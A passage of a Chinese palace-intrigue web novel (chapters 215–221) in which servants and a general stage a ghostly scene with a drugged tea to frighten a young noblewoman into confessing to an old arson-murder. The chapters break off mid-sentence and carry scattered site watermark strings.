此时,梅汐媛处心积虑安插在陆天骄身旁的俩个从东宁国带至秦王府来的陪嫁婢女,正一齐在院子里各处忙着掌灯, 其中一个身形瘦弱,瓜子小脸的婢女忿忿不平地嘀咕着“早知在西秦国秦王府的日子如此凄苦,还不如当初就呆在东宁宫中呢。如今,吃穿什么事都要自己做便也罢了,竟还被赵嬷嬷差过来伺候这个什么学院的小姐,你说就那个乡下土包子丫头,什么世面都没见过。那天,公主让我拿一些陪嫁的精美绢花赠送给她,她先是把绢花当成了真花儿,后来得知后竟说那些都是有毒之物,硬是不敢回拒收下了,却是不敢往发髻上簪,真是笑死我了。难不成,我们堂堂东宁一国之公主,会害她一个乡野丫头不成。你说她究竟算个什么东西啊,竟然让我们来伺候,我们俩那可一生下来就是伺候公主的人啊,如今倒是伺候起她来了…想起来就生气,气的我都想吐血。” 闻此,另一略显稳重的圆脸婢女忙朝周边四下里一环视,嘘声说道“嘘……你呀,好好做你的事即可,不要整日胡乱背后议论别人。赵嬷嬷之前交待的,莫非你都忘记了。‘少说话,多做事’这里是西秦秦王府,不是东宁国皇宫,你莫要逞一时口快,失了言,倒给公主惹了麻烦,公主她现在的处境已经够糟心的了……” 方才怨声连连的瓜子脸婢女闻此,不想竟真的静默了下来,坐在院落一角的石凳上,一手支着下巴,蹙眉不解道“你说我们公主多尊贵的身份啊,那模样也是‘闭月羞花,沉 第二百一十五章:情网 一阵响亮的鼓掌声瞬时响起,打破了整个燕栖阁的宁静。 俩婢女闻声,猛地将身子一扭,急急转头朝发出这阵鼓掌声音的方向望去,待一看清来人只觉顿时脑袋里似是一片空白,身子瞬间僵硬了住。紧接着,一回过神来便赶忙上前去扑通一声双膝跪地,蹙眉垂首着怯怯道“奴婢参见程将军。” 自打这对婢女被赵嬷嬷差使到燕栖阁里来当差服侍陆天骄至今,这个院子整日里除了她俩和陆天骄三人以外,从来没有出现过其他任何人的影子,俩人此时俨然已经被这突然而至的来人惊呆了。更何况,程良方才那掌声…无疑是在向她们表明,她们方才所议论的所有一切…都被他听到了,这可如何是好…… 程良带着几名手下一进入拱门来,便兀自环视了一圈院子里周围的廊桥美景,又举头望了眼夜空中的一轮弯弯的浅月,一脸笑意地对正忐忑不安地下跪着的俩人叹道“花前月下,夜静人闲,俩位姑娘如此相聊甚欢,真是好兴致啊!只是……怎么忽然停下来了,继续啊!” “奴婢不敢,请将军责罚。”俩人依旧不敢抬起头来半分,只瑟瑟发抖着道。 只见程良刹那间露出一脸凶色,狠狠地对其怒斥道“不敢?本将军怎么看你们胆子大的很呢,竟胆敢连这秦王府主子的舌根都嚼起来了。说…是不是想让本将军将你们俩的舌头割下来给府里的这些弟兄们下酒呢?” 话毕,程良便顺势极快速地一把抽出了腰间的佩剑,明晃晃的剑刃直指向那俩名早已如若惊弓之鸟一般的俩婢女眼前。 此情此景,只见俩人顿时忙重重地伏地叩首祈求起来,连连道“将军饶命,将军饶命,奴婢再也不敢了……” “饶命?果真想要饶命的话,倒也未尝不可,那就如实回答本将军的几个问题,否则,本将军的这把佩剑可是身经百战,削铁如泥的,知道么?”程良的两只眼里满是寒光,一边说着,一边将手中的长剑出其不意,嗖的一下架在了那圆脸婢女的左肩上。 那婢女顿时便被吓得不停地将身子颤抖起来,额角亦开始冒起豆大的汗水,声声直求饶道“知道知道,不管程将军问什么,奴婢都一定知无不言言无不尽。” “本将军问你,方才你所说的那些话,都是真的么?那陆小姐和你们…和王妃真的欲想要合谋起来对付衣姑娘?王妃真的是因为想要置衣姑娘于死地,方才将她请旨到王府的?而不是因为,王妃是体弱,真的需要一个医女侍候左右?……除此以外,你们东宁国究竟还交给了王妃娘娘什么任务?你是不是都知道?”程良方才来时在暗处听了俩人的交谈,真是顿觉不可思议,大吃了一惊。原来一切的一切【@!*!最快更新】 ,真相竟是这样的。见这婢女知道的甚多,或许,她还会知道更多的事情也不可而知呢。 闻此,那圆脸婢女眉头紧蹙,眼睛斜向了身边的瓜子脸婢女朝其凝视了半晌,始终紧紧地咬着牙根。 却忽然,那瓜子脸婢女开了口,直赤裸裸地推托道“你看我做什么,方才的那些话可都是你说的,我可什么都没说,也什么都不知道。” 见其犹犹豫豫,似是又欲言又止起来,程良顿时将手里的剑又从其左肩向着脖颈处逼近了几分,再次抵在她的脖颈厉声催促道“你到底说是不说?这里可是西秦秦王府,不是你们东宁皇宫,就算是王妃娘娘在,那也是秦王殿下说了算。” 此时,圆脸婢女的心里复杂极了,此事事关重大。 若是说了,日后里让梅汐媛知道了她的背叛,她定会死无葬身之地的。可是,如若不说,赵嬷嬷和梅汐媛都去了城南,此时都并不在府里,谁又能为她做主。 不用程良提醒,她亦知道在这个秦王府里,自己只不过是一个如蝼蚁一般极不起眼的女婢,而眼前的人,他可是这王府,乃至整个西秦国里势力最大的秦王面前最信任的人。 他要杀她,亦或让她在这个府里悄声匿迹,不必秦王开口,便是轻而易举的事。 思来想去,她终于似是下定了决心,开口道“奴婢可以将自己知道的一切全都毫无保留地告知程将军,但求程将军千万不能将此事告知王妃娘娘。否则,奴婢一定死定了。” 闻此,程良看着她似是已被说服的眼睛,命令道“来人,将这个丫头带下去,就算把整个燕栖阁翻个底朝天,亦要给本将军搜出那些药渣来。” “是”一众手下听令上前,押起那名瓜子脸婢女来便急急退了下去。 这时,程良方才再次开口道“本将军答应你,不会将你今夜所说的一切让你的主子知道,你尽管放心说吧。” 于是,婢女一咬牙,心一横,眉头一皱,瞬即又展开来,便开始将自己所知道的一切都对其缓缓如实交代了起来…… 而此时,与之仅仅两道墙相隔的另一边林月轩里。 & 第二百一十六章:请君入瓮,瓮中捉鳖(1) 就在陆天骄寸寸相思,满腹情意绵绵终不必再独自隐忍,深情款款地专注于对着病榻上的昏迷之人哭诉衷肠之际,张嬷嬷其实早已起身来随同她的脚步一起从偏殿里悄悄跟到了正寝殿门外,侧耳清清楚楚地听到了她所有的相思苦楚之语。 许久后,见她似是对轩辕翰并无半点不轨之心,便摇了摇头,压低声音无奈地叹了一句“冤孽,真是冤孽啊!”紧接着缓缓踱步走出了林月轩。 林月轩门口,守门的侍卫早已奉命在门口等候着,见张嬷嬷一迈步出来便将手里为其准备着的一盏四角平安富贵灯恭敬地递上。 张嬷嬷伸手一接过来,顺势朝其点头使了个眼色,便径自在其灯火的照耀下朝着平日里除了正常打扫的人之外,已经很久没有人进去的太妃的寝殿紫和轩方向而去。 与此同时,一片寂静的杏林阁里,已依稀听得见些许春暖初醒的鸣虫浅吟声。 乐太医亦已经有条不紊地准备好了一切,这会儿一手捧着小半碗看似浅棕色的糊状物,一手捏着一张白纸,对一侍卫耐心地做着最后的交待“这个是以天南星研成粉末,再拌以醋调制而成之物,你命人将其涂于这张纸上,待会儿到了时辰听命令将其贴于距离林月轩里殿下床榻最近的窗户外面。切记,到时候不管大家听到了什么,亦或看到了什么,一定要交待好林月轩内所有的侍卫,千万都不要惊慌,更不能靠近打扰。” 侍卫听完,将其递过来的一碗糊状物和白纸接过手中里里外外仔细打量了一番,似是毫无头绪,最后只笑道“不就是让林月轩的弟兄们装聋做哑,视而不见听而不闻嘛,放心吧。不过,这怎么听起来神神叨叨的,莫不是…乐太医你也何时学会装神弄鬼起来了?” 乐太医闻之笑了笑,继续拿出一叠起的黄纸道“这个是用明矾二钱,黄苓五分捣成粉末调和而成,所画的一道‘神符’,待到今夜子时,你再端一盆温水与其一起送进去。就跟陆小姐说,这是公主殿下从城南回来时在…城南城隍庙得道高僧处所求得的一道灵符,让她将其铺展开来在水中浸泡片刻,以此圣水在夜里子时之际帮殿下擦拭双目,可保殿下平安渡劫。”【!#……免费阅读】 “‘神符’,乐太医,可真有你的……只是,这道符上怎么什么笔划都看不到呢?”侍卫一边惊着,一边将其快速地接过翻来翻去研究了半天,终是疑惑道。 乐太医依旧笑而不语,半晌后只神秘地说道“此乃‘天机不可泄露’,今夜,是非成败就此一举了。所谓非常时期非常手段,这也是不得已没有办法的事。老夫方才交待你的,你可都要一一仔细地交待下去,千万不要出什么差错了。那可就白费功夫,一切都前 功尽弃了呀。” “乐太医你就放一百个心吧,兄弟们一定办好今夜这差事。若是没什么其它事的话,在下那便告退了。” 侍卫这话刚一出,乐太医眼睛一斜,这才看到了身边方才自己画符的那张案边放着的一碗清香的茉莉花茶,便急道“对了,还有这碗‘请君入瓮’至关重要的茉莉花茶,里面更是大有玄机。你务必和那盆水及灵符一起送进去给陆小姐。就说…辛苦她今夜替张嬷嬷照顾殿下了,务必亲自看着她将其全部饮尽方可。” “好的,在下都一一记住了,一切就放心交给在下吧,在下一定不辱使命。”侍卫说着,便将那碗药糊和清香扑鼻的一碗茉莉花茶放入茶盘里,再将那神秘的灵符和白纸折叠整齐了揣入怀间,这才端起茶盘来转身兀自踱步离开了杏林阁。 乐太医出门站在屋檐下的石阶上,一股夜风袭来,将他的白袍翩翩拂起,他一边捋着那撮短须思量着,一边望着侍卫离去的背影,眼睛渐渐眯了起来…… 紫和轩里,星光潺潺、婆娑满地、肃穆庄严。 在这片寂寥静籁的院落之中,像是所有的时间都被永远定格停留在了过去的某一时刻似的,唯有丝丝缕缕的檀香烟雾伴随着阵阵清风袅袅升起着,弥漫了整座大殿。 昏暗的烛火下,张嬷嬷刚刚涂粉描眉梳妆完毕,正呆呆地坐在一面菱花镜前,端详着镜中陌生的面孔却熟悉的不能再熟悉的着装。平生第一次,她斗胆取出并换上了她的主子,秦王府太妃生前最喜爱的一套绛紫色宫装。 此时,她努力地把镜中那模糊的影子想象成她的主子,她的一娉一笑,她的一言一语,瞬间源源不断地冲击着她的内心。这一刻,似是她真的变成了记忆中八年前的她似的。 她多么希望太妃还活着,如此,她便不会像现在这般疲惫与孤单,她又是多么希望这八年只不过是一场太长,太不容易清醒过来的梦魇,却也终有清醒过来的那日。 待到那一日,大家都醒来发现,彼此还都好好地活着,那该有多好。她是多想让她亲眼看到,她的儿子如今是多么的出息,多么的英勇神武,他是身经百战,家喻户晓,保家卫国,是西秦国里最受百姓爱戴的人。 可他又是和她一样,那般的孤寂,更比自己多添了一份似是万年的冰冷,如今还缠绵于病榻之上,昏迷不醒…… 想着想着,她对着镜中的影子默默地流起泪来。   第二百一十七章:请君入瓮,瓮中捉鳖(2) 陆天骄其实亦对此高僧早有所闻,只是从未亲自见过。也正是因此,才会介绍梅汐媛去了那里。 思及此,她蹙眉说道“好吧,既然如此,那我便马上浸泡此符,帮殿下擦拭双目。” 陆天骄忽然右手紧紧地攥起那道无字灵符置于胸前,目光坚定,似是也对它倾注了自己所有的希望。 如今,衣上云已然是死无全尸了,这即便表示她的翰哥哥一定会有回心转意的那一日。等到那时,他们一定会再次回到以前那样快乐相知的岁月。 她从来都不怕与他身旁的女子勾心斗角,斗智斗勇,她只怕她的翰哥哥心里眼里都是别人的影子。 就在方才从小灵儿那里刚得知衣上云已不在世的消息时,她心里浮起的那些深深的恐惧和无助的伤感,在她对着病榻上的轩辕翰进行了一番彻底的哭诉之后,此时此刻竟忽然庆幸和坚定不移地相信起来。 她庆幸自己从小到大是如此了解她的翰哥哥,她庆幸自己将梅汐媛支离了秦王府,她更庆幸聪明的自己做了今天这一切,才使得自己能够成功进入林月轩里来侍奉她无数个日日夜夜里都心心念念着的人,这对她来说,是多么幸福的事啊。 她相信,时光漫漫,终有一日,她一定能将衣上云这个影子从她的翰哥哥心里彻底地驱逐出去,哪怕这将会是她要用尽一生,也终将要完成的唯一最重要的事情。 而此时,她是多么期待着这一天能够早些到来啊。是的,他必须尽快清醒过来,只有这样,她才能早一日走进他的心里。 就在其满怀信心正迫不及待地欲迈步开来奔向那盆热水时,一旁的侍卫忽然伸手将其拦住,道“陆小姐,盆里的水还烫的很呢,公主交待高僧曾一再嘱咐,这灵符一定要温水浸泡方才有效。所以,稍后浸泡灵符为殿下擦拭亦不算迟。小姐您也已经在林月轩熬了大半夜了,瞧这黑眼圈都出来了。不如,您还是自己先吃点东西垫垫吧,如此,后半夜里才会有力气继续服侍殿下呀。” 陆天骄闻言,只忙伸起手来揉了揉自己的双眸,却着实一向都没有半夜里吃东西的习惯,又不好一直驳这侍卫的一片好意,于是,便淡淡地说道“那你就暂且放那儿吧,我现在委实还不饿,待会儿饿了我再拿来吃也不迟。” 侍卫不曾想,这陆天骄一个未出阁的大家闺秀,竟如此不避嫌亦废寝忘食地照顾主子,此时,她对轩辕翰那份执着的心思已在秦王府众人面前昭然若揭。 见她一门心思只放在缠绵于病榻上的人身上,一时无奈,侍卫灵光一闪最后只得端起了那碗其内大有玄机的茶水来,缓缓走到陆天骄面前双手将其奉上,道“如此也好,不过,这碗甚是提神的茉 莉花茶,殿下之前每每熬夜时总喜多饮一些,今夜,不如也请陆小姐尝尝,这茶务必趁热饮下,凉了可就不好了。” 果然,许是说了太久的话,陆天骄此时还真是有些口渴了,然更多的应是闻此乃为轩辕翰喜爱之物,正所谓‘爱屋及乌’于是,她很快便将目光落向了那碗热气袅袅的茶碗上,欣然接过饶有兴致地将其靠近鼻翼闻了闻,后又仔细打量了半晌,方才似是自言自语地含笑说道“这真是翰哥哥喜欢的茶?如此,我还真是有些渴了呢。” 话音刚落,便掩起面来将其缓缓一饮而尽。 至此,侍卫终于如释重负,同方才对乐太医所承诺的,亲眼看着陆天骄将这碗至关重要的茶水全部饮下,这才安心了下来,又悄悄地吐了口气,道“那,在下便告退了。今夜,殿下就有劳陆小姐了。” “嗯,你下去歇着吧,我会竭力照顾好殿下的。”陆天骄莞尔一笑,淡淡道。 午夜子时,侍卫退去,林月轩里又恢复了一室寂静。【@@&#最快更新】 为了让病榻上昏睡的人得以更舒适一些,陆天骄翻出一把金色剪刀来,亲自动手将林月轩寝殿里的烛火熄灭了大半,只剩余下寥寥的几盏昏暗之光,随风轻轻摇摆着。其影子照于壁上,看似仿佛就如同是只有在这样漆黑寂静的深夜里,才会现身出来的仙人一般,展示着其翩若惊鸿优美至极的旷世舞姿。 剪完烛火,她静静地立在大殿里朝着周围扫了一眼这恰到好处的柔和光色,似是心中对此气氛颇为满意,不禁脸上浮出一抹极为舒心的好看弧度来。 这时,她忽然瞥见了窗边的那盆水似是热气已然减了不少,便缓缓踱步过去撩起一只衣袖来,伸出一只皙白的青葱玉手优雅地拭了拭水温,顿时一股极为舒适的暖流似是袭遍了她的全身,继而微笑着抿了抿嘴将手收回,自言自语道“这个温度,翰哥哥应该是极喜欢的吧。” 于是,便缓缓从袖中掏出方才侍卫送进来的那道无字灵符来,将其一点一点地缓缓展开拉直,然翻来翻去,始终里里外外,都未曾见到半点字迹亦或笔画。 虽是心中对此也很是纳闷与不解,然出于世人都对城南城隍庙的那位得道高僧几乎痴迷一般的那份深信不疑。她终还是依照侍卫之前所交代的那般,将这道黄符温柔地展平后浮到了面前的那盆温水上。 就在她一脸欣喜,满心期待,全神贯注地浸泡着圣水之时,却忽然觉得眼前的视线忽明忽暗了起来,就连整个身子亦不禁随之微晃了一下差点晕倒,待稍一立定后,她秀眉微蹙着喃喃自语道“莫非是自己真的体力不 第二百一十八章:请君入瓮,瓮中捉鳖(3) 忽然,窗外那未知却似是有几分熟悉的声音再次响起“天骄啊,这八年来,本太妃一个人着实太寂寞了,今夜特意回来看看你。想来这些年里,你也定是噩梦缠身不好过吧。” 闻此,紧紧抱着自己双肩蜷作一团瑟瑟发抖着的陆天骄,口中上下的牙齿一边打着架,一边激动地道“太妃?是太妃?对,就是太妃,方才出现在寝殿里的那个似曾相识的着绛紫色宫装的背影正是太妃娘娘,是太妃娘娘回来了?可她不是已经被城隍庙里的那场漫天大火活活给烧死了么?八年前的那个午夜丑时,天骄永远都不会忘记,那是天骄一辈子的梦魇。那夜城隍庙的后院里万籁俱寂,后来当有人突然发现走水时,那熊熊火焰早已一发不可收拾,根本无法施救,太妃…太妃她怎么可能还活着?况且,临睡前,她服下的那碗张嬷嬷送入的莲子羹里,被我亲手加进去了颇重量的迷药,她根本不可能逃脱的。那此时又怎么会出现在这里…难道是…不可能…不可能…这世上哪里有什么鬼神之说,一定是有人故意在装神弄鬼,一定是!” 待她慢慢一理清楚了头绪,便忙开口大声疾呼起来“来人,来人……” 此时,已在门外久候多时的两名侍卫闻声,在正一手执剑,双臂环于胸前一脸严肃的程良点头默许下,急急推门冲了进去。 那方才送花茶进来的侍卫,进殿一看到蜷缩在案几脚下似是被什么惊吓坏了的正瑟瑟发抖着的陆天骄,忙近身过去屈膝而下将她扶起身来,关切道“陆小姐,陆小姐,你这是怎么了?” 不想陆天骄一见到来人,刚起身竟以迅雷不及掩耳之势嗖的一下伸出两只手来,紧紧地拽住了那正在说话侍卫的臂膀,瞳孔睁的如铜铃一般大,垂首怯怯地斜视着方才那一袭绛紫色宫装出没的地方,嘴里上下的牙齿依旧打着架,战战兢兢道“方才,方才还有没有其他人进入大殿里来,身着一袭绛紫色宫装。” 俩侍卫闻言不禁面面相觑了起来,稍作思量,此刻被陆天骄紧紧拽着的那名侍卫道“其他人?绛紫色宫装?女人?没有啊,这可是殿下的寝殿林月轩啊!以前太妃在世的时候倒是经常出入,但是,太妃如今已经过世都八年了。陆小姐作为王妃娘娘的陪伴和客人,在王府里亦已经留住多时,想必应该知道,咱们秦王府几乎是没有女婢的,哦,当然除了王妃娘娘的陪嫁女婢,但王妃娘娘与殿下大婚后就一直独居在韶华阁里,不经殿下召唤,亦不得踏入林月轩里半步。这次,若不是因为殿下实在病重昏迷甚深,小的们实在没了办法,就连张嬷嬷亦都是进不来的。” 对于侍卫所说,陆天骄心里当然都毫无半点质疑,因为她根本 从小到大都是秦王府的常客。 忽然,她似是又想起了什么,拉起那侍卫便径直朝着窗边走去“你看,你们都过来看,这是方才我用你们送进来的那个什么灵符浸泡的圣水,可是这水上面,这水上面你们看看究竟是什么……” 陆天骄将侍卫拉近于水盆边上,自己却赶忙躲到了侍卫身后去,似是都不敢再多看那水盆一眼,另一侍卫亦一脸匪夷所思地急步跟上前去。 岂料俩侍卫一见到水上漂浮起的渗人画面,先是各自不约而同的双眼顿时一怔一愣,后又抬起头来面面相觑了片刻,继而先被陆天骄拽过来的那侍卫先开了口,却道“这盆水…并无异样啊!这只不过就是一盆普通的不能再普通的温水而已,小的并未看出有任何异样来啊,你说是吧?” 那侍卫说着,朝另一侍卫求证道,另一侍卫亦同样一脸不解地朝陆天骄反问道“小的亦未发现此水有任何不妥,敢问,陆小姐又看出了其中什么玄机呢?” 陆天骄惊讶极了,只见她飞快地从侍卫身后闪身出来,继而用自己一根手指指着那水面,难以置信道“怎么可能?你们难道就没一人看得出这水上面,明明浮着一幅画么?” 侍卫故作一脸狐疑之态道“一幅画?什么画?” 陆天骄大大地吞了一口口水,似是很生气,又似是终于鼓足了勇气,可又瞬间欲言又止道“是一幅…一幅深夜里禅院走水,漫天大火,屋内躺着一位正在熟睡的贵妇人的画。大火之外,院子里的众人皆都手足无措,回天无力。其中,还有一个…一个怯怯地躲在人群之后的小女孩……” 就在陆天骄正投入地宛若身临其境地说着时,水盆边上的窗户忽然又“啪啪啪……”不停地开始像是被人拍打了起来。 陆天骄顿时被吓得踉踉跄跄地连连后退了起来,惊恐地道“你们听,你们听,听到了吗,听到了吗?这下总该听到了吧?一定是她回来了,是她回来了……” 俩侍卫一边面面相觑地听着,看着,口里却依旧道“陆小姐,你是不是熬夜不适应,太困倦了,产生了幻觉呢?这哪里有什么禅院走水的画儿,哪里又有什么声音呢?大半夜里, 第二百一十九章:请君入瓮,瓮中捉鳖(4) 秦王府林月轩寝殿。 伸手不见五指,尽是一片漆黑的窗外,一名侍卫正低低的蹲身于窗前,手里挑着一盏午夜时分显得甚是渗人的绿灯笼,将那阴森森的一道绿光正好映在了张嬷嬷悉心装扮而成的秦王府已故太妃那张惨白的脸上。 八年后,又是同样的一个午夜丑时,夜深人静,阴风习习。 陆天骄猛然抬起头来,顿时被眼前的景象吓得发狂般失魂尖叫了起来“鬼啊……” 紧接着便扑通一声,重重地跌跪在了地上,颤颤巍巍惊慌失措地连连对着窗外作揖叩首求饶道“太妃娘娘,对不起,对不起,太妃娘娘,天骄错了,天骄真的错了,求您放过天骄吧,求求你,求求你了……” 这时,那一脸煞绿,渗人至极的严厉面孔冷冷地发出一缕飘忽之声道“放过你,倒也不是不可以,你且将八年前烧死本太妃的那场大火所发生的前前后后,一字不漏地与本太妃说的清清楚楚,明明白白。否则,这辈子你都将被本太妃的冤魂缠身,终有一日,你亦定会同样惨遭此死不瞑目。” 至此,陆天骄的心理防线终于彻底坍塌“我说,我说,我一定将一切都说的清清楚楚。” 而窗外,张嬷嬷和程良亦都皱紧了眉头,屏气凝神地听了起来“八年前,天骄陪同太妃娘娘奉召入宫面见太后娘娘。请完安后,太妃娘娘便被太后娘娘单独留下来说话,天骄则被宫女带至了后殿里。因一时好奇,又见四周无人,便将案几上的一个极精致的朱红色琉璃花瓶拿起来把玩,不想手一滑却将其给打碎了。天骄正惶恐至极不知所措间,进来了一位面相极其和蔼可亲的老嬷嬷。那老嬷嬷不但没有责怪天骄,还将手里端着的一碗闻起来极香的乳茶给了天骄。” 吸了吸鼻子,她又呜咽着继续幽幽道“午膳过后,太后娘娘同太妃娘娘便相邀一起前往城南城隍庙里为西秦敬天祈福。大约到了傍晚时分,乘着大家都暂且无事歇下了,天骄便偷偷溜去了太后那边寻那老嬷嬷,想请教她那碗乳茶的烹煮之方,想要回来也煮给翰哥哥尝尝。岂料天骄刚好过去的时候,那老嬷嬷正陪着太后在院里纳凉,天骄正欲上前去请安讨教,忽然听到太后说……” 话到关键处,陆天骄忽然吞吞吐吐,欲言又止了起来,垂首跪在地上不禁眼珠子骨碌碌转向四周看了去。就在这时,突闻耳旁震耳欲聋地厉声道“说什么?” 陆天骄受这忽然而至的一声霹雳呵斥,似是本能一般地猛一抬起头,却刚好瞥见了那窗外依旧灵异如初的那张绿脸,正瞪大了眼睛朝自己怒视着,似是此刻恨不得将自己吞下肚去一般。不禁顿感周身的寒毛像是都竖起来了,赶忙低下头去几乎是 一口气道“太后娘娘说皇上不赞同她灭了秦王府。如若这样的话,皇上所有一切的计划都将落空。” “灭了秦王府?皇上所有一切的计划?……是什么计划?”窗外张嬷嬷假扮的绿脸幽魂转头看了一眼身旁不远处的程良,问道。 处在极度惊恐之下的陆天骄闻此,只拼命地连连摇头,哭泣着道“我不知道,我不知道是什么计划,我真的不知道。我就摸黑躲在门口的红枫树后面,仅仅只不过听到了这一句而已,便被太后娘娘发现,命那老嬷嬷拎了出去。” 无疑,此时窗外听闻了此言的程良和张嬷嬷的心里瞬间都为此而惊呆了。 原来,当年先帝驾崩之后,璟帝继位,太后顺理成章母凭子贵上位。然对此,这个女人不但不满足,还想要先帝仅剩下来的另一子轩辕翰,以及将其整个秦王府全部灭门,使其荡然无存。 这是多么可怕的居心啊,如此,在这个世上,她便可以彻底高枕无忧,永远再也没有后顾之忧了。 当年,若不是太后使诈,将轩辕翰母子支离皇宫,说是什么到太庙里为缠绵于病榻的先帝祈福。其实,根本就是她事先已经从太医那里得知了先帝不日里气数将尽,想要乘机逼迫先帝传位于其子,致使轩辕翰母子甚至就连先帝最后一面都未曾见到。还在回宫的途中险些被刺客所杀,若不是那个即将临盆的妇人及时出现,恐怕这对母子一定是凶多吉少了…… 一切的一切,原来尽是这样的。 可是,太后和璟帝是嫡亲嫡亲的母子俩啊,不是本应‘一荣俱荣,一损俱损’么?却为何会对如此重大之事各执己见呢? 秦王府灭门,岂不是应该更合其意吗?可是为什么最后死的却只是太妃一个人。这都八年过去了,轩辕翰不但毫发无伤,反倒是得到了‘一人之下万人之上’的无比尊贵。 璟帝一向疑心颇重,又怎会在如此大事上这般大度量,竟能容下随时都可能威胁到自己至高无上皇权的轩辕翰至今。这其中,又有怎样的隐情呢? &n 第二百二十章:万般辛苦皆成戏 对于今夜自己亲眼所见,亲耳所闻的这一切,程良始终都难以置信。 此刻立在自己面前,如此一个温婉端庄、聪慧过人、出身名门的千金小姐,竟会是被人当成了‘借刀杀人’的工具? 而他更是想都不敢想,八年前的那场漫天大火除此之外,竟还隐藏着这样一个惊世秘密。 如此说来,17年前先帝去世的那日,他那尚且只不过五六岁的小主人母子俩为了见其最后一面,被迫无奈擅自离开太庙回宫觐见,其途中险遭黑衣蒙面劫匪杀害,那着实并非是为了劫财,而是…… 尽管这些年以来,主人也一直怀疑,那伙劫匪极有可能是太庙里的守卫为了阻止他们逃跑所为,但后来皆因疑点重重又再无迹可寻,不得已便都就此作罢,不了了之了。 主人觉得:若是太庙来人只是为了阻止他们逃跑,出师有名又何必要费心乔装蒙面;可若是劫匪劫财,却对金银丝毫都视若无睹;再者,那时委实年龄太小的主人,对于那个似曾在哪里只是在他眼前晃过一次的蒙面人,也实在是记不起究竟在哪里见过。 这样一来,便就都对了,原来这一切竟是这样的。为了那个位置,太后可真是煞费苦心啊…… 太可怕了,真的太可怕了。原来这17年以来,宫里的那对母子对秦王府竟是如此虎视眈眈,狼子野心。 可如今,他们已经得到了他们想要的一切,太后之位,天子之尊,他们已经都有了。却为何还不肯放过秦王府呢?可他们为何只对太妃动手,皇上的计划?他的计划……究竟是什么呢…… 许久后,只闻程良缓缓道“陆小姐,真是想不到啊。今日这出‘请君入瓮,以其人之道还治其人之身’的大戏,还真是‘瓮中捉鳖’,收获满满啊!” 岂料陆天骄竟忽然除去了满心惶恐,随即一脸和颜悦色地轻笑了起来,并当即矢口否认道“是啊,不知道程将军觉得,天骄与那戏班子里的伶人相比,演技如何呢?” 闻此,程良不禁即刻朝其瞪起眼来,一脸的诧异。 “贱人,休要在此胡言乱语,颠倒是非黑白,还不赶快下跪对太妃娘娘叩首认罪。”忽然,殿外传来张嬷嬷一厉声斥责。 闻声,殿内所有人都不约而同地将目光朝其转了过去。 只见张嬷嬷一脸惨白妆容,手里提着一盏绿色灯笼,身着方才的一袭绛紫色宫装,缓缓迈步进入大殿里来。其一言一行,一举一动宛若太妃真身一般,不亏是用心服侍了太妃一辈子的老人,竟能如此逼真的模仿太妃的音容相貌。 “还不下跪,更待何时?”张嬷嬷进来一立定,便朝陆天骄怒道。 “张嬷嬷此话何意?虽说您是秦王府的老嬷嬷,太妃娘 娘生前身边最亲近的人,可怎么也还轮不到我陆天骄对你屈膝下跪吧?”陆天骄理直气壮道。 “陆大小姐,你莫要以为你父亲陆贤对秦王殿下忠心耿耿,深受殿下敬重。如此,你便可以在秦王府里狐假虎威,任意妄为,伤人性命?如此在秦王府里兴风作浪,还不该对太妃娘娘俯首认错吗?”张嬷嬷道。 陆天骄抬手顺了顺鬓间的乱发,轻笑一声,缓缓道“狐假虎威,任意妄为,伤人性命?在秦王府里兴风作浪……看来,张嬷嬷真是抬举天骄了。天骄虽一生下来就没了母亲管束,却幸好出生在了书香门第,自幼受到父亲严苛教导,又怎敢如此到处肆意,胡作非为呢?” 果然不失为一朵极其顽强的白莲花,陆天骄不愧是陆天骄,今日被整个秦王府的人如此费力合计着‘瓮中捉鳖’当场揭发,竟转身这么快便恢复如初,完全一副像是什么事都没发生过的模样。 闻此,张嬷嬷强压住心头的怒火,亦对其笑了笑,一口气吹灭了手里的绿色灯笼,走过去将其放在角落里。继而对一旁的俩名侍卫吩咐道“去把大殿里所有的灯都点亮吧,越亮越好。今夜,怕是整个秦王府都沸腾了,想必秦王殿下也是不得安眠的。没想到,这陆大小姐,竟还暗藏着伶人的潜质。那就让病榻上的殿下也好好听听,好好看看今夜里这位陆大小姐的这出戏,她要如何唱下去,如此也好。” 侍卫面面相觑了片刻,又朝程良望去,程良对其点了点头,侍卫方才分开各自径自过去依次掌灯。 瞬时,昏暗的大殿里,到处恢复了一片灯火通明,将殿内每个人脸上或多或少尚还残存着的些许喜怒恐慌亦或是释怀惊讶等各种表情,顿时都照的真真切切,毫无一丝隐藏。 而病榻上的男子,那张无论何时都棱角分明、冷峻威严、又无比尊贵的一成不变宛若天人的面孔之上,双眸依然紧闭着,只是那脸上的一片煞白之色,却似是已经恢复了许多。 张嬷嬷远远地朝其凝视了片刻,见此似是方才有些安心了下来。于是,便缓缓踱步到自己方才在外面站立过的那扇窗边的一盏一直燃烧着的铜烛台边上。 她立在那里,默默地注视着烛台上的红色烛油沿着铜架缓缓滑落,未及多远便又凝固住,层层叠叠,虽也是一朵娇艳的新烛花,却样子狰狞,恍若现在眼前的这 第二百二十一章:识破秘术已晚矣 张嬷嬷见那青袍老道儿给自己的乃是一道无字灵符,拿在手里端详了半天,只笑话那老道儿说“人家的神符无论是否灵验,至少都是画满了各种奇异图案做足了功夫的,莫非你是个不识字且还极为慵懒的道长,想必道行肯定尚还浅着吧。” 然那老道儿却似一点也不生气,反而至此捋了捋那白须便端着一脸笑意,转身离开了,走的时候嘴里还神神叨叨着一句“山不在高,有仙则名。水不在深,有龙则灵。万般皆是缘,信则有,不信则无。” 一念至此,也不知道自己方才一时情急,将那灵符给了乐太医来胡写胡画作道具,现在还有没有效。 即是自己如今已然走投无路,真的是拿这朵人面兽心顽强的白莲花没了主意,亦是‘临时抱佛脚’。半信半疑地抱着最后一点点希望,她在心里默默的祈祷着,如果这次真能让秦王府的主子睁开眼来,看清楚这个假面女子的庐山真面目,她愿意折寿十年,哪怕就是死也无憾了。 于是,她赶忙端起那盆水来朝着病榻上的轩辕翰身边走去。 就在这时,陆天骄见此不禁一怔,忙疾步上前去伸手拦在其面前,然眼神似是仍有些怯怕地窥探了一眼张嬷嬷捧在身前的水盆,质疑道“这水有问题,你想用它做什么?” 张嬷嬷冷哼一声,瞪着眼睛朝其冷冷地不屑道“我老婆子想做什么,还轮不到你一个秦王府的外人,一个杀人凶手来过问。走开!” 不料陆天骄竟出人意料地忽然亦扬声起来,霸道阻止说“不可以!” 